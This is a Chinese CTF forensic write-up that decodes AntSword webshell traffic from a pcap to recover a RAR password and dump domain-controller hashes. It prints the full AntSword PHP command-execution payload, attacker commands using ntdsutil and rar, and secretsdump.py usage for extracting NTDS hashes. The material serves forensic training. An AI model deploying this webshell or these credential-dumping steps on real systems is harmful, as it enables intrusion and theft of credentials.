当前位置: 首页 > news >正文

浅析中国蚁剑的木马加密流量

简介

在蓝帽杯 2022 初赛中,domainhacker 的流量分析题目聚焦于中国蚁剑这款 webshell 管理工具的流量特征。通过对比赛提供的数据包进行解析,本文将深入分析蚁剑在连接木马时产生的加密流量。

公司安全部门,在流量设备中发现了疑似黑客入侵的痕迹,用户似乎获取了机器的hash,你能通过分析流量,找到机器的hash吗?

[蓝帽杯 2022 初赛]domainhacker2
根据题目信息,我们直接追踪TCP流量
在这里插入图片描述

将POST的数据进行Decode

a=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split("/;|:/",$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)) {continue;};$tmdir=$item."/.c46a89a";@mkdir($tmdir);if(!@file_exists($tmdir)) {continue;}@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for ($i=0;$i<sizeof($cntarr);$i++) {@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};
}
;
;
function asenc($out) {return $out;
}
;
function asoutput() {$output=ob_get_contents();ob_end_clean();echo "79c2"."0b92";echo @asenc($output);echo "b4e7e"."465b62";
}
ob_start();
try {$p=base64_decode(substr($_POST["yee092cda97a62"],2));$s=base64_decode(substr($_POST["q8fb9d4c082c11"],2));$envstr=@base64_decode(substr($_POST["p48a6d55fac1b1"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";if(substr($d,0,1)=="/") {@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");} else {@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)) {$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";function fe($f) {$d=explode(",",@ini_get("disable_functions"));if(empty($d)) {$d=array();} else {$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c) {$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')) {@system($c,$ret);} elseif(fe('passthru')) {@passthru($c,$ret);} elseif(fe('shell_exec')) {print(@shell_exec($c));} elseif(fe('exec')) {@exec($c,$o,$ret);print(join("",$o));} elseif(fe('popen')) {$fp=@popen($c,'r');while(!@feof($fp)) {print(@fgets($fp,2048));}@pclose($fp);} elseif(fe('proc_open')) {$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1])) {print(@fgets($io[1],2048));}while(!@feof($io[2])) {print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);} elseif(fe('antsystem')) {@antsystem($c);} elseif(runshellshock($d, $c)) {return $ret;} elseif(substr($d,0,1)!="/" && @class_exists("COM")) {$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);} else {$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;
}
catch(Exception $e) {echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

典型的蚁剑马,并在其中发现了读取操作的相关代码

$s=base64_decode(substr($_POST["q8fb9d4c082c11"],2));

然后我们将每次q8fb9d4c082c11的操作找出来

cd /d "C:/phpstudy_pro/WWW"&whoami /priv&echo efa923ba504&cd&echo 1a4be8815ef8
cd /d "C:\\phpstudy_pro\\WWW"&powershell -c "whoami /priv"&echo efa923ba504&cd&echo 1a4be8815ef8
cd /d "C:\\phpstudy_pro\\WWW"&tasklist&echo efa923ba504&cd&echo 1a4be8815ef8
......
cd /d "c:\\Windows\\Temp"&rar.exe a -PSecretsPassw0rds 1.rar 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8

我们将所有的HTTP对象导出来

发现有一个RAR文件而且有加密

我们注意这个操作

&rar.exe a -PSecretsPassw0rds 1.rar 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8

1.rar 1.txt解压缩1.txt到1.rar中并且使用SecretsPassw0rds加密

然后我们使用SecretsPassw0rds去解压1.rar

在这里插入图片描述
得到解压密码

[蓝帽杯 2022 初赛]domainhacker2

前置知识:

在域环境中,活动目录是域中提供目录服务的组件,其可以帮助用户快速准确地从目录中找到其所需要的信息。在规模较大的网络中,要把网络中的众多对象,例如计算机、用户、用户组、打印机、共享文件等分门别类、井然有序的存放在一个大仓库中,并做好信息索引,一遍查找、管理和使用这些资源对象。拥有这个层次结构的数据库就是活动目录数据库。

Ntds.dit文件是域环境中域控上会有的一个二进制文件,是主要的活动目录数据库,其文件路径为域控的 %SystemRoot%\ntds\ntds.dit活动目录始终会访问这个文件,所以文件禁止被读取。Ntds.dit包括但不限于有关域用户、组和组成员身份和凭据信息、GPP等信息。它包括域中所有用户的密码哈希值,为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。

而在非域环境也就是在工作组环境中,用户的密码等信息存储在SAM文件,想要破解SAM文件与Ntds.dit文件都需要拥有一个System文件。和SAM文件一样,Ntds.dit是默认被Windows系统锁定的。

我们拿到两个附件,一个是misc-2.pcapng流量包,一个是 ntds.rar加密文件

然后我们简单浏览流量包之后,统计http请求

在这里插入图片描述

我们查看关于1.php的流量包

在这里插入图片描述

分析流量包的内容

在这里插入图片描述

看上去是webshell流量

aaa = @ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir)  {$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);$oparr = preg_split("/;|:/", $opdir);@array_push($oparr, $ocwd, sys_get_temp_dir());foreach($oparr as $item) {if (!@is_writable($item))  {continue;};$tmdir = $item."/.6e92708f25a";@mkdir($tmdir);if (!@file_exists($tmdir))  {continue;}@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr = @preg_split("/\\\\|\//", $tmdir);for($i = 0;$i < sizeof($cntarr);$i++) {@chdir("..");};@ini_set("open_basedir", "/");@rmdir($tmdir);break;};
};;
function asenc($out) {return $out;
};
function asoutput() {$output = ob_get_contents();ob_end_clean();echo "ba"."47a";echo @asenc($output);echo "abe28"."ca2197";
}ob_start();
try {$p = base64_decode(substr($_POST["i00fdbe370f732"], 2));$s = base64_decode(substr($_POST["eaf06745bcdc2e"], 2));$envstr = @base64_decode(substr($_POST["y2ad6c8051181b"], 2));$d = dirname($_SERVER["SCRIPT_FILENAME"]);$c = substr($d, 0, 1) == "/"?"-c \"{$s}\"":"/c \"{$s}\"";if (substr($d, 0, 1) == "/")  {@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");} else {@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if (!empty($envstr))  {$envarr = explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v))  {@putenv(str_replace("|||askey|||", "=", $v));}}}$r = "{$p} {$c}";function fe($f) {$d = explode(",", @ini_get("disable_functions"));if (empty($d))  {$d = array();} else {$d = array_map('trim', array_map('strtolower', $d));}return(function_exists($f)&&is_callable($f)&&!in_array($f, $d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail')))  {if (strstr(readlink("/bin/sh"), "bash") != FALSE)  {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log'))  {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "")  {print($output);return True;}}return False;};function runcmd($c) {$ret = 0;$d = dirname($_SERVER["SCRIPT_FILENAME"]);if (fe('system'))  {@system($c, $ret);} elseif (fe('passthru'))  {@passthru($c, $ret);} elseif (fe('shell_exec'))  {print(@shell_exec($c));} elseif (fe('exec'))  {@exec($c, $o, $ret);print(join("
", $o));} elseif (fe('popen'))  {$fp = @popen($c, 'r');while (!@feof($fp))  {print(@fgets($fp, 2048));}@pclose($fp);} elseif (fe('proc_open'))  {$p = @proc_open($c, array(1 = > array('pipe', 'w'), 2 = > array('pipe', 'w')), $io);while (!@feof($io[1]))  {print(@fgets($io[1], 2048));}while (!@feof($io[2]))  {print(@fgets($io[2], 2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);} elseif (fe('antsystem'))  {@antsystem($c);} elseif (runshellshock($d, $c))  {return $ret;} elseif (substr($d, 0, 1) != "/" && @class_exists("COM"))  {$w = new COM('WScript.shell');$e = $w -  > exec($c);$so = $e -  > StdOut();$ret .= $so -  > ReadAll();$se = $e -  > StdErr();$ret .= $se -  > ReadAll();print($ret);} else {$ret = 127;}return $ret;};$ret = @runcmd($r." 2>&1");print ($ret != 0)?"ret={$ret}":"";;
} catch(Exception $e) {echo "ERROR://".$e -  > getMessage();
};
asoutput();
die();

找到关键部分,我们只需要解码即可

    $p = base64_decode(substr($_POST["i00fdbe370f732"], 2));$s = base64_decode(substr($_POST["eaf06745bcdc2e"], 2));$envstr = @base64_decode(substr($_POST["y2ad6c8051181b"], 2));

我们只需要删除前面两个字符,并进行base64解码即可

简单分析几个流量包

cd /d "c:\\Windows\\Temp"&move ntds.rar c:\phpstudy_pro\www\&echo 1d3632&cd&echo 78bc462abcd /d "c:\\Windows\\Temp"&dir&echo 1d3632&cd&echo 78bc462abcd /d "c:\\Windows\\Temp"&rar.exe a -PFakePassword123$ ntds.rar new&echo 1d3632&cd&echo 78bc462ab
#制作压缩包的命令,密码为 FakePassword123$cd /d "c:\\Windows\\Temp"&dir&echo 1d3632&cd&echo 78bc462abcd /d "C:\\phpstudy_pro\\WWW"&cd c:\windows\temp\&echo 1d3632&cd&echo 78bc462abcd /d "C:\\phpstudy_pro\\WWW"&type err.txt&echo 1d3632&cd&echo 78bc462abcd /d "C:\\phpstudy_pro\\WWW"&dir &echo 1d3632&cd&echo 78bc462abcd /d "C:\\phpstudy_pro\\WWW"&cmd.exe /c ntdsutil.exe < log.txt >err.txt

解压ntds我们就拿到了一个活动目录中的ntds.dic和注册表中SYSTEM以及SECURITY

然后我们利用网络上的解析ntds.dic的脚本查看本地的历史记录

python secretsdump.py 
-system ../../../../MISC/综合/NTDS解析/domainhacker2/registry/SYSTEM 
-ntds ../../../../MISC/综合/NTDS解析/domainhacker2/Active\ Directory/ntds.dit 
LOCAL -history

然后我们查看最近的Administrator的密码hash

在这里插入图片描述

拿到flag :flag{07ab403ab740c1540c378b0f5aaa4087}


相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • C++ STL与string类
  • 基于sklearn的机器学习 — 支持向量机(SVM)
  • 使用C#(winform)调用STK并展示其3D/2D控件
  • 【前缀异或和】力扣2588. 统计美丽子数组数目
  • 【脚本说明撰写markdown】如何基于VScode 撰写使用说明文档,及格式转换.md、.html、.pdf格式
  • LVS--DR模式
  • 游戏盾是什么,如何保护网络游戏的安全
  • 大模型日报 2024-08-07
  • 用录制好的视频文件模拟PC电脑摄像头进行无人值守直播/抖音直播/视频号直播/快手直播
  • 将本地微服务发布到docker镜像二:
  • Linux下安装Go语言环境的详细指南
  • 给本地设备搭建一个云端语音助手
  • Rider中修改默认文件关联,自定义打开方式
  • opencascade TopoDS_Builder 源码学习
  • Apache Doris + Iceberg 快速搭建指南|Lakehouse 使用手册(三)
  • 2017 年终总结 —— 在路上
  • Android开源项目规范总结
  • Docker 笔记(2):Dockerfile
  • MySQL Access denied for user 'root'@'localhost' 解决方法
  • select2 取值 遍历 设置默认值
  • VUE es6技巧写法(持续更新中~~~)
  • 从零开始在ubuntu上搭建node开发环境
  • ------- 计算机网络基础
  • 记录:CentOS7.2配置LNMP环境记录
  • 开年巨制!千人千面回放技术让你“看到”Flutter用户侧问题
  • 前端面试之CSS3新特性
  • 一个项目push到多个远程Git仓库
  • 再谈express与koa的对比
  • Java性能优化之JVM GC(垃圾回收机制)
  • PostgreSQL之连接数修改
  • ​无人机石油管道巡检方案新亮点:灵活准确又高效
  • ​一些不规范的GTID使用场景
  • # windows 安装 mysql 显示 no packages found 解决方法
  • #、%和$符号在OGNL表达式中经常出现
  • #if 1...#endif
  • (4) openssl rsa/pkey(查看私钥、从私钥中提取公钥、查看公钥)
  • (4)事件处理——(2)在页面加载的时候执行任务(Performing tasks on page load)...
  • (vue)el-cascader级联选择器按勾选的顺序传值,摆脱层级约束
  • (ZT)出版业改革:该死的死,该生的生
  • (二十九)STL map容器(映射)与STL pair容器(值对)
  • (附源码)计算机毕业设计ssm高校《大学语文》课程作业在线管理系统
  • (简单) HDU 2612 Find a way,BFS。
  • (心得)获取一个数二进制序列中所有的偶数位和奇数位, 分别输出二进制序列。
  • (转)Linux NTP配置详解 (Network Time Protocol)
  • (转)Spring4.2.5+Hibernate4.3.11+Struts1.3.8集成方案一
  • (转)四层和七层负载均衡的区别
  • .apk文件,IIS不支持下载解决
  • .Net Core和.Net Standard直观理解
  • .NET 材料检测系统崩溃分析
  • .net 程序 换成 java,NET程序员如何转行为J2EE之java基础上(9)
  • .net 生成二级域名
  • .NET 中选择合适的文件打开模式(CreateNew, Create, Open, OpenOrCreate, Truncate, Append)
  • .NET/C# 在代码中测量代码执行耗时的建议(比较系统性能计数器和系统时间)
  • .NET/C# 在代码中测量代码执行耗时的建议(比较系统性能计数器和系统时间)...
  • .NET大文件上传知识整理